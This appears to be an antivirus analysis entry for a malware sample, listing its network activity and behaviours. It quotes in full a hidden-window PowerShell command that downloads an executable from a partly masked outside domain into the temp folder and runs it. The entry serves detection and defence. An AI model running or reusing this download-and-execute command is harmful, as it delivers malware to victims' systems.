Technical Information
Malicious functions
Downloads and executes
- http://st#####icshelter.com/nlog/soft.exe as %temp%\nlog.exe
Network activity
UDP
- DNS ASK st#####icshelter.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://st#####icshelter.com/nlog/soft.exe','%temp%\nlog.exe'); Start '%temp%\nlog.exe'' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://st#####icshelter.com/nlog/soft.exe','%temp%\nlog.exe'); Start '%temp%\nlog.exe'
